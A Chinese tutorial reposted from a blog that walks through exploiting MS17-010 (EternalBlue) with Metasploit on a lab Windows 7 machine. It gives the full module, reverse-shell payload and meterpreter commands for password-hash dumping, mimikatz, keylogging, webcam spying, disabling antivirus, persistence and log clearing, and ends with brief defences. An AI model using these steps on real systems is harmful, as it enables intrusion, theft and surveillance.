一.Metasploit简介:
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
二.永恒之蓝简介:
MS17-010,也被称为“永恒之蓝”(EternalBlue),是一个针对Microsoft Windows操作系统中服务器消息块(SMB)协议的漏洞。这个漏洞允许攻击者在没有任何用户交互的情况下远程执行任意代码,这意味着攻击者可以远程控制受影响的系统。
利用条件:
Windows Vista、Windows 7、Windows 8.1、Windows 10、Windows Server 2008、Windows Server 2012和Windows Server 2016等,利用SMB协议(特别是SMBv1)的漏洞,需要目标系统开放了139或445端口。
三.环境:
攻击机器:Kali Linux(已内置Metasploit),靶标:windows7旗舰版x64
MSF官网:https://www.rapid7.com/products/metasploit/download/
四.MS17-010利用过程:
1.启动kali的nmap,探测一下靶标的455端口开放情况。
2.启动msf命令:msfconsole
3.ms17_010模块使用过程
search ms17_010 查找相应的漏洞模块
use 0 加载模块,使用编号为0的攻击模块,"0"也可替换编号后的Name
set RHOSTS 192.168.211.129 设置攻击目标
check 进行检测,确认是否存在ms17_010漏洞
set payload windows/x64/meterpreter/reverse_tcp
//加载payload,设置攻击载荷。windows表示靶机操作系统、x64表示64位系统、meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用、reverse_tcp表示从靶机发起一个反向tcp连接到攻击机,默认连接端口为4444,可以通过set lport 命令更改
set LHOST 192.168.211.128 设置本地IP
show options 查看模块相关参数
run 运行攻击,exploit也可
4.Meterpreter的命令用法:
shell #获取目标主机的cmd_shell权限
chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
想要从目标机器shell推出到meterpreter,我们只需要输入:exit
background #把我们获得的meterpreter会话挂载到后台运行
sessions -l #查看获得的meterpreter_shell会话列表,输入sessions [id号]即可进入相应的meterpreter_shell中
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话(用于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道==========================================
Stdapi:文件系统命令
==========================================
命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录==========================================
Stdapi:网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表==========================================
Stdapi:系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如OS ==========================================
Stdapi:用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件==========================================
Stdapi:网络摄像头命令:
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流==========================================
Stdapi:音频输出命令:
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件(.wav) ==========================================
Priv:权限提升命令:
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统的权限。==========================================
Priv:密码数据库命令:
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容==========================================
Priv:Timestomp 命令:
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性meterpreter >
5.shell中常用命令
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权,获得的当前用户是administrator才能成功
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u test1 -p Abc123456 #创建test1用户,密码为Abc123456
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库run exploit/windows/local/persistence lhost=192.168.230.130 lport=8888 #会自动连接192.168.230.130的8888端口,缺点是容易被杀毒软件查杀
portfwd add -l 9999 -r 192.168.230.132 -p 3389 #将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
clearev #清除日志
五.防护措施
关闭445等高危端口
配置防火墙,安装防护软件
安装补丁
到此本文就结束了,本文仅介绍Metasploit的简单入门,更多功能自行学习探索,相信你会掌握这一款强大的渗透测试扫描神器,禁止非法扫描,后果自负。
人生哪来那么多幸运,只不过别人努力时你假装看不见,幸运和不幸都是由我们自己来决定,唯一公平的是我们可以通过自己的努力去改变运气坐标的方向!
本文转载自天乐博客:https://blog.361s.cn/501.html